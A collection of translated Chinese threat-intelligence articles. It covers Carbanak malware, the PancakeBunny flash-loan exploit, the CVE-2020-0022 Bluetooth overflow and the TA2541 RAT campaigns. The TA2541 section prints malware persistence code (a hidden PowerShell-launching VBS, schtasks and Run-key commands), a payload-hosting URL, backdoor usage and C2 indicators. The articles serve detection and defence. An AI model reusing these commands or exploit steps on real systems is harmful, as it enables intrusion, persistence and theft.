最初，可执行文件主程序会使用异或加密密钥“PsdTsr8fer3”,对内嵌在它里面的两个代码模块进行解密,一个是载荷加载者/进程注入模块，一个是Anunak恶意W32可执行文件模块。
解密行为和加密行为一样简单，即用密钥和代码相异或，每次跳过3字节(我们发现使用了解密过程，但是为了保持简洁，在这个报告里我们没有进行详细说明)。
在对可执行文件进行反汇编后，发现了异或密钥，同时，在解密过程中也用到了这个密钥。
图 49 发现异或密钥
正如提到的，Anunak载荷的加载者(注入)模块代码会首先被解密，然后解密Anunak可执行代码。
图 50 载荷解密
图 51 在解密Anunak后，执行它
通过该恶意载荷，我们识别出了下面的C&C服务器IP：
• 179..43.140.85 (port: 443)
• 107.181.246.189 (port: 443)
该恶意软件的执行流程图可以表示成如下图片：
图 52 UVZHDVlZ.exe的直观执行流程图
有趣的是，UVZHDVlZ.exe使用了一个由Comode CA颁发的有效数字证书，似乎是用伪造的身份购买，伪造的身份是俄罗斯莫斯科的一个公司。
图 53 UVZHDVlZ.exe数字证书的详细信息
根据VirusTotal的报告，没有任何杀毒软件将UVZHDVlZ.exe标记为恶意软件。这是特定恶意软件和该攻击活动背后专业攻击者的另一个标志。
**Update.exe**
该可执行文件和前面分析中描述的Anunak加载者可执行文件一样，使用了Comode
CA颁发的一个数字证书，但是该证书是在此次攻击行动前几周买的。和Anunak加载者可执行文件一样，这个证书也包含发行细节，一家俄罗斯莫斯科的公司，可能是伪造的。
表格 8 Update.exe的HASH
图 54 Update.exe的数字证书详情
该可执行文件实际上也是一个加载者，它会创建一个Cobalt Strike post-exploitation工具的新线程，名为“beacon”。Beacon动态链接库是加密的，内嵌在恶意软件中。
最初，主可执行文件会解密内嵌在它里面的两个代码模块，一个是加载代码模块(它本身)，一个是载荷PE文件(内嵌在它里面)，
和我们之前描述过的Anunak加载者可执行文件一样，该文件也使用异或进行加密，密钥是“keDx8”，加密解密是一个密钥，作用于加载者代码和内嵌的PE可执行文件上。下图显示的是解密异或代码的反汇编代码：
图 55 异或密钥的解密流程
下图显示的是加密的/解密的加载者，和PE可执行文件(载荷)：
加载者代码(解密前、解密后)：
图 56 加载者代码
PE可执行文件(解密前、解密后)：
图 57 PE可执行文件
在成功对载荷可执行文件解密后，该载荷会在内存中被执行。
当载荷执行后，它首先会为即将解密的beacon动态链接库预先分配内存。
图 58 载荷分配内存
然后会解密DLL文件。
图 59 解密beacon DLL的流程
图 60 beacon DLL解密
然后，该DLL会被加载到一个新线程中。
图 61 反射beacon DLL
beacon DLL会无限期循环，在两次循环之间会睡眠10秒钟。
该可执行文件使用了一个技术，来探测目标系统或网络中的杀毒软件工具。它连接外部，并从一个硬编码的主机上下载EICAR反恶意软件测试字符串，此文本是一个特殊的“虚拟”字符串，用于测试安全控制系统，如AV软件、IDS等。这给恶意软件一个指示：在目标系统中没有AV工具。
它使用了一个C&C服务器：95.215.44.12 (HTTP)。
图 62 X-Malware字段中的EICAR测试字符串
自撰写本报告之日起，根据VirusTotal的报告，该可执行文件没有被任何杀毒软件标记为恶意软件。
**322.exe**
经过分析，发现它是一个持续性访问受害系统的TCP反弹式后门。
表格 9 322.exe的HASH
该可执行文件会检查系统上的AV进程，基于它发现的信息，要么执行一个新进程“wuauclt.exe”(发现AV)，要么执行“svchost.exe -k
netsvcs”。如果它不能执行前一个命令，会产生explorer.exe进程。
通过分析反汇编的可执行文件代码，该恶意软件需要以下三个参数：{transport}、{LHOST}、{LPORT}。
例如：“322.exe 4 127.0.0.1 53”。
{transport}参数可以是下面的变量：
表格 10 {transport}变量的命令行参数
当可执行文件利用上面的一个选项运行时，它会从对应的远程IP中接收一个DLL载荷，并将它注入到之前成功启动的进程中(wuauclt.exe或svchost.exe或explorer.exe)。然后将执行转移到该进程。这给攻击者提供了三种类型的命令shell,用于访问受害系统。
这不是犯罪份子第一次利用众所周知的工具，因为该可执行文件无非是一个定制的Metasploit载荷，负责下载和执行反弹TCP。322.exe的最后一步是删除自己，为的是不留下踪迹。
VirusTotal在最后一次扫描该恶意可执行文件时，得分是8/57，这是一个低分。结合对文件的分析结果表明，一部分恶意软件作者是高度成熟的，他们能够有效地规避大部分AV工具。
**三、结论**
在对多个恶意可执行文件的调查中，发现了混淆的PowerShell命令、VBS脚本、JavaScript。如下图：
表格 11 此次攻击行动的攻击指示器
一些可执行文件是被他们的父进程下载的，并直接写入到内存中，然后作为DLLs,注入到其它进程中，并在执行后删除。同样，使用PowerShell的好处是：恶意软件不用存储在磁盘里，直接在内存中运行。此外，利用脚本的做法具有很强的灵活性，这是另一个强大的优势，允许攻击者毫不费力地修改他们的代码。
此外，基于利用了多个不同恶意软件这个事实，表明多个实体在进行合作和交流，并在地下市场交流工具和技术。当然，也有可能多个不同的恶意群体是合伙关系，各自负责一些攻击阶段的任务。
同样，部署在全球范围内的网络主机的数量，作为提取点或C&C服务器，也表明这可能是一个有组织的犯罪行动。在下图中，已经描绘出了它们的位置和角色(3个在美国的服务器没有描绘出来)：
图 63 恶意服务器地理位置
实际情况是有人从Comode
CA购买并使用了合法的数字证书，证书使用了有效但可能伪造的身份，俄罗斯莫斯科。这是另一个指向有组织犯罪网络的间接证据，同时，对于此次攻击行为，他们有强烈的攻击动机。
证书签名时间(创建时间)和攻击时间线很接近，有力的表明了购买这些证书就是为了这次攻击行动。这些数字证书是从一个有效的公司偷的或“借”的吗？攻击的时间线和CA产生证书的时间/日期的相关性表明，这不太可能。
此外，攻击者在攻击中使用了Pastebin
URL作为C&C机制的一部分，该URL属于一个个体，名为“Shtokov”。这是另一个弱的标志，表明俄罗斯/东欧的角色参与了这次的攻击行动。
图 64 Shtokov Pastebin网站被用到了C&C机制中
使用像Google
Docs这样的服务是为了保持对受害人的跟踪，并传播恶意文件。这给防御者带来了很大的挑战，因为利用这些流行的公共云服务后，防御者很难将好人和坏人区分开。
最后，随着对carbanak APT活动的不断了解，该恶意软件家族的攻击特征有几个共同的特点，这很可能归因于俄罗斯地下金融网络犯罪。
我们唯一能确定的是，攻击者不会停止寻求新的、创新的方法去感染企业环境和操纵公共服务，这被公众认为是忠实的和值得信赖的。
**四、应对措施**
根据我们的调查，我们发现有多个案件都是“Grand Mars”APT活动的一部分，Trustwave
SpiderLabs推荐以下补救措施，有效地消除或减少由攻击造成的损害，并在威胁实现之前主动解决威胁。
关键对策(中短期)
1) 定期对所有人员进行安全意识培训。
2) 基于互联网的文件禁止执行vbs/宏/VBE。
3) 禁止可执行文件(EXE,VBS等)从AppData、用户临时文件夹启动。
4) 禁用不需要的、完全不受限制的Internet访问。
5) 最小化管理员帐户的数量和使用。
6) 防止常规用户以管理员登录。
7) 对广泛使用的应用层协议实施过滤。
8) 给本地用户和管理员创建单独的密钥，并经常更改。
9) 限制管理员访问权限，除非系统需要。
由于恶意软件主要驻留在内存中，不用读写磁盘，且对主机文件系统改变很少，建议在所有终端、服务器和网络上进行下列检查。我们建议检查的攻击标志是：
1) 系统中是否安装并启动了具有随机名称的服务。
2) 服务是否按以下方法启动：
PowerShell命令/脚本。
一个可疑/随机的、未知起源和目的的命令、程序或二进制文件(如我们报告中提到的Update.exe/322.exe)。
带有随机名称的一个批处理脚本(.bat)。
3)
系统是否尝试连接一个外部IP，特别是用了常见的端口，但是又没有使用这些端口上常用的协议，如110、53、80、443、8080，防火墙通常会允许这些端口的出站连接。
4) 是否存在计划任务或系统自启动位置。
在本报告中，有关恶意软件连接的IP地址和主机/域的完整列表如下图所示：
表格 12 恶意主机和IP地址
**关键行业需要有所意识**
强烈建议零售、电子商务和酒店行业的组织立即实施关键对策。主动进行彻底的威胁评估，而不是等待发现攻击迹象。使用我们高级威胁报告中的信息，在整个网络，包括服务器和终端，实施全面的威胁检查，以确定任何恶意活动的迹象。最后，评估您当前的事件响应能力，并找到影响你们组织响应能力的差距。没有哪个组织可以防御所有攻击。但是如果你有阻止攻击、并迅速作出有效响应的能力，那将长期给你在面对高级攻击时的生存能力带来好的影响。
**参考链接**
[https://www.trustwave.com/Resources/SpiderLabs-Blog/Operation-Grand-Mars–a-comprehensive-profile-of-Carbanak-activity-in-2016/17/?utm_source=tuicool&utm_medium=referral](https://www.trustwave.com/Resources/SpiderLabs-Blog/Operation-Grand-Mars--a-comprehensive-profile-of-Carbanak-activity-in-2016/17/?utm_source=tuicool&utm_medium=referral) | 社区文章 |
# PancakeBunny攻击事件复盘分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 事件背景
PancakeBunny致力于通过为用户提供一种简便的方法，通过Binance Smart Chain自动组合其收益，来支持底层的DeFi生态系统。
零时科技区块链安全情报平台监控到消息，北京时间2021年5月20日，PancakeBunny官方发推文称PancakeBunny遭到闪电贷攻击，导致Bunny价格暴跌，零时科技安全团队及时对该安全事件进行复盘分析。
## 事件分析
**攻击信息**
通过零时科技安全团队初步追踪分析，此次攻击信息如下：
攻击者钱包地址：
<https://bscscan.com/address/0xa0acc61547f6bd066f7c9663c17a312b6ad7e187>
攻击者合约地址：
<https://bscscan.com/address/0xcc598232a75fb1b361510bce4ca39d7bc39cf498>
攻击者交易一：
<https://bscscan.com/tx/0x88fcffc3256faac76cde4bbd0df6ea3603b1438a5a0409b2e2b91e7c2ba3371a>
攻击者交易二：
<https://bscscan.com/tx/0x897c2de73dd55d7701e1b69ffb3a17b0f4801ced88b0c75fe1551c5fcce6a979>
VaultFlipToFlip合约地址：
<https://bscscan.com/address/0xd415e6caa8af7cc17b7abd872a42d5f2c90838ea#code>
BunnyMinterV2合约地址：
<https://bscscan.com/address/0x819eea71d3f93bb604816f1797d4828c90219b5d#code>
## 攻击过程
以下将拆解攻击者的两笔交易，方便读者更清晰的了解攻击过程。
**攻击者第一笔交易**
该笔交易中，攻击者使用1枚BNB，并在提供流动性时对半分为0.5枚BNB和189枚USDT，提供流动性后得到USDT-BNB
LP，之后将该LP存入Bunny池子。
**攻击者第二笔交易**
第二笔交易中操作较多，也是此次攻击的主要部分，这里将该交易分解为11个步，并进行逐条说明：
第一步：攻击者首先从PancakeSwap中利用闪电贷借出约232万枚BNB，再从ForTube中利用闪电贷借出296万USDT，之后将7744枚BNB和296万枚USDT转到BNB-USDT池子中添加流动性，获得对应的14万枚BNB-USDT LP。
第二步：将第一步中借到的232万枚BNB在PancakeSwap池中兑换为382万枚USDT（这里已经可以控制价格，大量BNB代币进入池子，BNB价格变的极低）
第三步：调用VaultFlipToFlip合约getReward方法进行取币。（第三步至第九步均为getReward方法调用相关参数进行的代币计算）
第四步：从BNB-USDT池子中取出之前第一步中加入的流动性资金296万枚USDT和7744枚BNB。
第五步：将296万枚USDT换成231万枚BNB。（第二步中已经将BNB价格控制的很低，所以这里可以兑换大量BNB）
第六步：将第五步中获取一半BNB，也就是115万枚BNB换成17万枚Bunny。
第七步：将剩余115万枚BNB转入BNB-Bunny池中添加流动性，获得对应LP Token。
第八步：将第四步中取出的流动性资金7744枚BNB，以1：1的比例转入BNB-Bunny池中增加流动性。
第九步：将之前获得的所有LP token添加到PancakeSwap，最终获得697万枚Bunny。
第十步：将获取的697万枚Bunny资金转换为BNB和USDT，并给攻击者钱包地址转入69万枚Bunny。
第十一步：归还闪电贷借出的资金，并给攻击者钱包地址转入11万枚BNB转入。
**至此**
攻击者通过此次闪电贷攻击共获取11万枚BNB和69万枚Bunny，但本次攻击者成功的原因不仅仅只利用了闪电贷，除了闪电贷之外，Bunny的合约代码也存在安全风险，在第二笔交易的第三步至第九步获取到巨额Bunny代币均为getReward方法调用所产生的逻辑，这里我们继续来看整个攻击流程涉及的代码问题。
## 攻击成功的原因
通过前面的分析，攻击者已将大量资金注入池子，并通过VaultFlipToFlip合约中getReward方法来获取奖励，如下图所示：
getReward方法中，会进一步调用
BunnyMinterV2合约中mintForV2方法来为调用者铸造Bunny代币奖励，继续跟进mintForV2方法，如下图：
mintForV2方法中，最终铸币的数量mintBunny变量是由valueInBNB变量通过简单计算得到，而valueInBNB变量是通过PriceCalculator合约中valueOfAsset方法得到，继续跟进，如下图：
valueOfAsset方法中，valueInBNB变量是通过amount和reserve0以及其他变量计算得出，amount值是mintForV2方法中传入的bunnyBNBAmount变量，该值本身也是一个非常大的值，由于目前的池子中存在大量BNB（攻击过程中六，七，八步存入的大量资金），导致reserve0是一个非常大的数值，计算后valueInBNB变量值变大，最终mintBunny变大铸造了大量Bunny代币。
目前，PancakeBunny官方已对本次攻击涉及的LP代币价格问题和代码中的计算问题进行了修改，并提供了补偿方案。
## 总结
通过此次攻击事件来看，攻击者主要利用闪电贷操纵价格，并通过代码中铸币数量的计算缺陷，最终获得了大量铸币，从中获利。DeFi项目中类似的闪电贷攻击事件居多，为何还会频频发生，对于DeFi项目而言，合约代码的安全，代币价格的相对稳定，旧版本的及时更新都是保证项目安全极其重要的部分，任何细节的马虎都可能导致项目及用户资金受到损失。对于此类闪电贷攻击事件，零时科技安全团队给出以下建议：
### 安全建议
对于合约代码安全，可找多家安全审计公司进行审计。
对LP价格及获取奖励的铸币代码块，应根据业务逻辑进行严格审核演算，避免出现参数可控制导致大量铸币问题。
使用可信的并且安全可靠的预言机，如Chainlink去中心化预言机或者Alpha团队的LP价格计算方式。
对敏感性较强的代码，要做到及时更新完善。 | 社区文章 |
**作者：启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/MgttHkorVd5UrW1Cnlc5Xw>**
## 一、漏洞背景
2020年2月，Android安全公告中披露并修复了一个严重漏洞，漏洞编号为CVE-2020-0022，又称BlueFrag，可影响Android蓝牙子系统。该漏洞是一个远程代码执行漏洞，出现在Bluedroid蓝牙协议栈的HCI层，当无线模块处于活动状态时，攻击者可以利用蓝牙守护程序提升权限进而在设备上执行代码。该漏洞影响Android
Oreo（8.0和8.1）、Pie（9），但无法在Android 10上进行利用，仅能触发DoS攻击。
## 二、协议简介
### 2.1 HCI
HCI
层位于蓝牙协议栈高层协议和低层协议之间，提供了对基带控制器和链路管理器的命令以及访问蓝牙硬件的统一接口方法，其接口适用于BR/EDR控制器、BR/EDR/LE控制器、LE控制器、AMP控制器，与底层的结构关系如下图：
主机系统上的HCI驱动程序和控制器中的HCI层之间会存在中间层，
这些中间层即是主机控制器传输层，这些传输层是透明的，只需完成传输数据的任务，不必清楚数据的具体格式。两个蓝牙设备点对点HCI层的交互过程如下图所示：
#### 2.1.1 HCI包格式
HCI通过包的方式来传送数据、命令和事件的，所有在主机和主机控制器之间的通信都以包的形式进行。包括每个命令的返回参数都通过特定的事件包来传输。HCI有数据、命令和事件三种类型的包。命令包COMMAND（0x01）只能从主机发往主机控制器，其中数据包是双向的，分为两类：ACL（0x02）、SCO（0x03），而事件包EVENT（0x04）始终是主机控制器发向主机的。主机发出的大多数命令包都会触发主机控制器产生相应的事件包作为响应，在传输过程中会有一个句柄，用于识别主机之间的逻辑通道和控制器，共有三种类型的句柄：连接句柄、逻辑链路句柄和物理链路句柄。
根据需要，这里只介绍ACL数据包格式，ACL 数据用于主机和控制器之间的非同步数据交换，如播放音乐数据的数据包，格式如下图：
每个字段的说明如下所示：
**字段** | **说明**
---|---
**Handle** | Connection_Handle用于在主控制器上传输数据包或段
**PB Flag** | 包边界和适应范围
**BC Flag** | 广播标志
**Data Total Length** | 以八位位组为单位的数据长度，包含高层协议data
其中，PB Flag的描述如下：
设置为 00'b 的时候，代表 Host -> Contoller 的 L2CAP 的首包。设置为 01’b 的时候，代表 Host ->
Contoller 或者 Contoller -> Host 的 L2CAP 的续包（中间的）。设置为 10'b 的时候，代表 Contoller ->
Host 的 L2CAP 的首包。
#### 2.1.2 分段（Fragmentation）和重组（Reassembly ）
分段是将PDU分解成较小的部分，以便从L2CAP传递到较低层。重组是根据从下层传递来的片段重组PDU的过程。分段和重组可以应用于任何L2CAP PDU。
### 2.2 L2CAP数据包格式
L2CAP是基于分组的，但也遵循信道传输的通信模型。L2CAP支持的信道有两种：面向连接的信道和面向无连接的信道。在面向连接的信道中，L2CAP数据包的格式如下图所示。
数据包中每个字段的说明如下所示：
**字段** | **说明**
---|---
**Length** | 2字节，表示信息有效负载的大小，不包括长度L2CAP头
**Channel ID（CID）** | 2字节，用于标识目的信道的终端。通道ID的范围与正在发送数据包的设备相关
**Information（Payload）** | 信息负载，长度为0到65535字节
## 三、漏洞原理分析
CVE-2020-0022漏洞位于HCI层，漏洞补丁代码位于hci/src/packet_fragmenter.cc（以8.1.0_r33为例）中的reassemble_and_dispatch()函数中，该函数是用于数据包分片的重组。对于过长的ACL数据包需要进行包的重组，主要是根据ACL包中的PB
Flag标志位进行重组，如果当前是起始部分并且是不完整的，则生成一个部分包（partial_packet）放到map里，等下次收到它的后续部分进行拼装，拼装完毕后就分发出去。详细分析reassemble_and_dispatch()函数如下：
首先，处理第一个packet，代码127行到129行，分别读取handle、acl_length和l2cap_length。handle为本次链路的Connection_Handle。根据前文数据包格式的介绍，acl_length为Data
Total Length，该data数据域中存放着L2CAP数据包分片（也可能是一个完整的L2CAP数据包）。然后，直接读取data中L2CAP
Length，该l2cap_length是一个完整的L2CAP数据包中payload的长度。行131，校验packet包长度是否正常。行133，通过handle获取boundary_flag，即是PB
Flag。
行136，判断boundary_flag是否为2，二进制表示为10’b，即判断当前packet是否为 Contoller -> Host 的 L2CAP
的首包，如果是，进入if语句。行137到行147，判断当前packet是否已经被处理，保证本次处理的packet都是最新的。行149到行154，判断L2CAP数据包长度是否正常，不正常直接报错返回。
接下来，行156到行157，计算full_length，其中包括一个完整的L2CAP数据包中的payload的长度，一个L2CAP头部长度和一个HCI头部长度。行161到行168，判断full_length是否超过BT_DEFAULT_BUFFER_SIZE，如果超过直接报错返回。行170到行178，判断当前头包packet是否还有续包，如果没有续包直接调用callbacks->reassembled处理当前packet并返回。
如果当前头包packet后面还有续包，那就开始重新分配一块新的内存用于packet中数据包重组。行180到184，分配并设置partial_packet，将partial_packet->len设置为full_length，将partial_packet->offset设置为packet->len即当前头包packet->data的长度。行186，调用memcpy，将头包packet中HCI数据包整体拷贝到partial_packet中。行189到行191，先找到HCI数据包头部，并跳过handle，更新acl_length为一个完整的L2CAP数据包长度。行193，将partial_packet存放到容器中。行196，释放当前头包packet，表示已经处理完第一个packet，不再需要它了。行197，else语句开始处理后续packet，即boundary_flag不等于2的packet。
行198到行205，首先通过handle判断当前后续packet是否属于本次链路的，如果不属于，直接返回。行206，获取前一轮生成的partial_packet。行208，将当前后续packet->offset赋值为HCI_ACL_PREAMBLE_SIZE即4字节，此时packet->offset指向HCI包中的data域，里面存放着L2CAP数据包分片。行209和行210，计算projected_offset，projected_offset为partial_packet->offset与本次L2CAP数据包分片的长度之和。
行211和行219，判断projected_offset是否大于partial_packet->len,即判断projected_offset是否大于full_length。如果大于，则修改packet->len为partial_packet->len减去partial_packet->offset，即packet->len为partial_packet剩余空间的长度。然后，将projected_offset设置为partial_packet->len。具体数据包重组如下图所示：
修正好实际要拷贝的长度后，行221，调用memcpy进行拷贝，漏洞点到了,第一个参数为partial_packet->data +
partial_packet->offset,目的地址是正确的，第二个参数为packet->data +
packet->offset，源地址也是正确的，第三个参数是要拷贝的长度len为packet->len -packet->offset，这个值是有问题的，分两种情况。第一种情况是projected_offset小于partial_packet->len，packet->len
-packet->offset为L2CAP数据包片段总长度，并且是个正数。第二种是行211的情况，packet->len已经被修正过，不需要再一次packet->len
- packet->offset的操作，如果partial_packet剩余空间长度小于4字节，那packet->len - packet->offset
是小于零的，是一个负数。由于memcpy()函数第三个参数类型是一个无符号整型类型，因此整数溢出导致堆溢出。漏洞补丁如下：
可以看到，补丁代码中将packet->len加上了一个packet->offset，用于后面抵消减packet->offset的操作。
## 四、影响版本
1. Android Oreo（8.0和8.1）
2. Android Pie（9）
3. Android 10
## 五、安全建议
1. 尽快更新最新的Android安全补丁
2. 仅在绝对必要时启用蓝牙
3. 保持蓝牙设备不可发现
参考文献:
1. <https://insinuator.net/2020/02/critical-bluetooth-vulnerability-in-android-cve-2020-0022/>
2. <https://akhozo.blogs.com/2020/02/critical-android-bluetooth-flaw-cve.html?spref=tw>
3. <https://android.googlesource.com/platform/system/bt/+/3cb7149d8fed2d7d77ceaa95bf845224c4db3baf%5E%21/#F0](#F0)>
4. <https://source.android.com/security/bulletin/2020-02-01.html>
5. <http://androidxref.com/8.1.0_r33/xref/system/bt/hci/src/packet_fragmenter.cc>
6. Bluetooth_Core_v4.2蓝牙官方文档
* * * | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight>**
### 主要发现
* Proofpoint研究人员多年来一直在追踪一个针对航空、航天、交通、制造业和国防工业的持续网络犯罪者。
* 黑客者一贯使用远程访问木马(rat) ，可用于远程控制受到感染的机器。
* 黑客关注了与航空、交通和旅行相关的类型。自2017年以来，这个威胁行为者一直攻击类似的产业和目标。
### 概览
Ta2541是一个常年活跃的网络犯罪分子，它分发各种远程访问木马(rat) ，目标是航空、航天、运输和国防工业等。Proofpoint
自2017年以来一直在跟踪这个攻击者，Ta2541在那段时间内使用了一致的战术、技巧和程序(TTPs)。目标部门的企业应了解黑客的TTPs，并利用所提供的信息进行搜寻和侦查。
Ta2541关注与航空、交通和旅行有关的主题。当 Proofpoint 第一次开始跟踪这个黑客组织时，他们发送了宏载入的微软 Word 附件，这些附件下载了
RAT 有效载荷。这个组织转变了方向，现在他们更频繁地发送带有云服务链接的消息，比如 Google Drive 托管有效载荷。Proofpoint认为
ta2541是一个网络犯罪组织，因为他们使用独特的商品恶意软件，广泛的攻击范围，掌握大量的信息，以及命令和控制基础设施。
尽管至少从2019年开始就存在公开报告详细描述类似威胁活动，但这是 Proofpoint 首次分享关于ta2541的威胁活动集群的公共和私人数据的全面细节。
### 攻击详情
与许多传播商品恶意软件的网络犯罪黑客不同，TA2541通常不会在其社会工程诱饵中使用时事、趋势话题或新闻。在几乎所有观察到的活动中，TA2541使用了包括航班、飞机、燃料、游艇、包机等交通相关术语在内的诱骗主题。
图1: 请求飞机部件信息的电子邮件诱惑
图2: 请求往返航班信息的电子邮件诱惑
Ta2541自2017年1月以来持续不断的威胁攻击。通常，它的恶意软件攻击包括数百到数千条消息，尽管
TA2541一次发送超过10000条消息的情况很少见。攻击影响了全球数百个组织，并在北美、欧洲和中东有反复攻击的目标。消息几乎都是用英语写的。
在2020年春天，TA2541短暂地转向采用 covidd
相关的诱惑主题，但总体上与运输和航班细节的主题一致。例如，他们分发与个人防护装备(PPE)或冠状病毒疾病检测包的货运有关的诱饵。
图3: TA2541使用的 PPE 主题的诱饵
采用冠状病毒疾病主题的时间很短，黑客很快又回到了通用货物、飞行、包机等主题的诱饵上。
自2019年以来，包括[Cisco Talos](https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html),
[Morphisec](https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader),
[Microsoft](https://twitter.com/MsftSecIntel/status/1392219299696152578),
[Mandiant](https://www.mandiant.com/resources/dissecting-netwire-phishing-campaigns-usage-process-hollowing)和[独立研究者](https://blog.bushidotoken.net/2021/01/analysis-of-netwire-rat-campaign.html)在内的多个研究人员公布了类似活动的数据。Proofpoint可以确认这些报告中的活动与被追踪为
ta2541的威胁行为是一个组织所为。
### 传送及安装
在最近的活动中，Proofpoint 观察到该组织在邮件中使用 Google Drive 的网址，转接了一个模糊的 Visual Basic
脚本(VBS)文件。如果文件被执行，PowerShell 将从一个托管在各种平台（比如 pastetxt、 Sharetext 和
GitHub）的文本文件中获取一个可执行文件。攻击者将PowerShell执行到各种Windows进程中，并查询Windows管理工具(WMI)以获取防病毒和防火墙软件等安全产品，并试图禁用内置的安全保护措施。攻击者将在主机上下载RAT病毒之前收集系统信息。
图4: 示例攻击链
从2021年底开始，TA2541一直使用 Google Drive，偶尔也使用 OneDrive 来存放恶意的 VBS 文件，Proofpoint
观察到这个组织开始使用 DiscordApp url链接到压缩文件，引出 AgentTesla 或 Imminent
Monitor（即时监控）。Discord 是一个内容传递网路，越来越受黑客欢迎。
尽管 TA2541通常使用 url 作为传递的一部分，但 Proofpoint 也观察到这个组织利用电子邮件中的附件。例如，攻击者可能会发送带有包含 URL
的嵌入式可执行文件的压缩可执行文件，比如 RAR 附件，以托管恶意软件有效载荷的 CDN。
下面列出的是在最近的攻击中使用的 VBS 文件，它利用了 StrReverse 函数和 PowerShell 的
RemoteSigned功能。值得注意的是，VBS 文件的命名为了与电子邮件的整体主题保持一致，通常是: 航班、飞机、燃料、游艇、包机等等。
图5: 示例 VBS 文件的内容
**消除混淆的命令:**
https://paste[.]ee/r/01f2w/0
下图描述了最近一次攻击的一个示例，PowerShell 代码托管在 paste.ee URL 上。
图6: Paste URL 示例
**持久性:**
通常，TA2541将使用 visual basic 脚本(VBS)文件使用他们最喜欢的有效负载 AsyncRAT 建立持久性。这是通过在启动目录中添加指向
PowerShell 脚本的 VBS 文件来实现的。注意: 使用的 VBS 和 PowerShell 文件名大多是模仿 Windows
或系统功能命名的。最近攻击的示例如下:
**Persistence 示例:**
C:\Users[User]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemFramework64Bits.vbs
**VBS 文件内容:**
Set Obj = CreateObject("WScript.Shell")
Obj.Run "PowerShell -ExecutionPolicy RemoteSigned -File " & "C:\Users\[User]\AppData\Local\Temp\RemoteFramework64.ps1", 0
Other Recent VBS File Names Observed
UserInterfaceLogin.vbs
HandlerUpdate64Bits.vbs
WindowsCrashReportFix.vbs
SystemHardDrive.vbs
TA2541还通过创建计划任务和在注册表中添加条目来建立持久性。例如，2021年11月 TA2541使用这两种方法分发了有效载荷“Imminent
Monitor”。在最近的活动中，vjw0rm 和 STRRAT 还利用任务创建并向注册表添加条目。例如:
**Scheduled Task:**
schtasks.exe /Create /TN "Updates\BQVIiVtepLtz" /XML C:\Users\[User]\AppData\Local\Temp\tmp7CF8.tmp
schtasks /create /sc minute /mo 1 /tn Skype /tr "C:\Users\[Use]\AppData\Roaming\xubntzl.txt"
**Registry:**
Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost
Data: C:\Users[User]\AppData\Roaming\server\server.exe
Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\xubntzl
Data: C:\Users\User\AppData\Roaming\xubntzl.txt
### 恶意软件
自2017年以来，Proofpoint 观察到
TA2541使用了十几种不同的恶意软件有效载荷。威胁行为者使用商品恶意软件，这些恶意软件可以在犯罪论坛上购买，也可以在开源软件仓库中购买。目前，TA2541倾向于使用
AsyncRAT，以及其他流行的 RAT 包括 NetWire、 WSH RAT 和 Parallax。
图7: TA2541使用的与消息量相关的恶意软件
Ta2541使用的所有恶意软件都可以用于信息收集目的，并获得对受感染机器的远程控制。当它达成了初步的感染时，Proofpoint
还不知道威胁参与者的最终目的和目标是什么。
虽然 AsyncRAT 目前是恶意软件的首选，但TA2541自2017年以来每年都会改变其使用的恶意软件。但是在2020年，Proofpoint 观察到
ta2541分发了10多种不同类型的恶意软件，所有软件都使用了相同的初始感染链。
图8: TA2541恶意软件分发
### 基础设施
TA2541使用虚拟专用服务器作为其电子邮件发送基础设施的一部分，并经常使用动态 DNS (DDNS)作为 c2基础设施。
C2基础设施和消息构件之间存在多种模式。例如，之前的攻击活动曾将“ kimjoy”一词包含在 c2域名以及攻击者的回复地址中。另一个引人注目的 TTP 是
TA2541 c2域名和有效载荷分段 url 的共同模式，包含关键词“ kimjoy”、“ h0pe”和“
grace”。TA2541也经常使用相同的域名注册商，包括 Netdorm 和 No-IP DDNS，以及托管服务提供商，包括 xTom GmbH 和
Artyom、Danilenko。
### 受害者
通常，攻击活动包含几百到几千封发送给几十个不同组织的电子邮件。Proofpoint 观察到
TA2541针对成千上万的组织，航空、航天、运输、制造和国防工业的多个实体经常作为其攻击的目标。这表明
TA2541分发的范围很大，并不针对具有特定角色和职能的人。
### 总结
TA2541仍然是一个持续的、活跃的网络犯罪威胁，特别是对其最频繁攻击的目标部门的实体来说。Proofpoint能够肯定，这个黑客组织将继续使用和以往攻击活动使用过的相同的
TTPs ，至多改变一下它的诱惑主题、传输和安装。在未来的攻击中，TA2541可能会继续使用 AsyncRAT 和
vjw0rm，并可能使用其他商品恶意软件来达到目的。
### IOCs
**C2 Domains**
**Indicator** | **Description** | **Date Observed**
---|---|---
joelthomas[.]linkpc[.]net | AsyncRAT C2 Domain | Throughout 2021
rick63[.]publicvm[.]com | AsyncRAT C2 Domain | January 2022
tq744[.]publicvm[.]com | AsyncRAT C2 Domain | January 2022
bodmas01[.]zapto[.]org | AsyncRAT C2 Domain | January 2022
bigdips0n[.]publicvm[.]com | AsyncRAT C2 Domain | December 2021
6001dc[.]ddns[.]net | AsyncRAT C2 Domain | September 2021
kimjoy[.]ddns[.]net | Revenge RAT C2 Domain | March 2021
h0pe[.]ddns[.]net | AsyncRAT C2 Domain | April/May 2021
e29rava[.]ddns[.]net | AsyncRAT C2 Domain | June 2021
akconsult[.]ddns[.]net | AsyncRAT C2 Domain | July 2021
grace5321[.]publicvm[.]com | StrRAT C2 Domain | January 2022
grace5321[.]publicvm[.]com | Imminent Monitor C2 Domain | November 2021
**VBS SHA256 Hashes**
VBS SHA256 hashes observed in recent December and January campaigns.
File Name: Aircrafts PN# _ALT PN#_Desc_ &_Qty Details.vbs
SHA256: 67250d5e5cb42df505b278e53ae346e7573ba60a06c3daac7ec05f853100e61c
File Name: charters details.pdf.vbs
SHA256: ebd7809cacae62bc94dfb8077868f53d53beb0614766213d48f4385ed09c73a6
File Name: charters details.pdf.vbs
SHA256: 4717ee69d28306254b1affa7efc0a50c481c3930025e75366ce93c99505ded96
File Name: 4Pax Trip Details.pdf.vbs
SHA256: d793f37eb89310ddfc6d0337598c316db0eccda4d30e34143c768235594a169c
**ET Signatures**
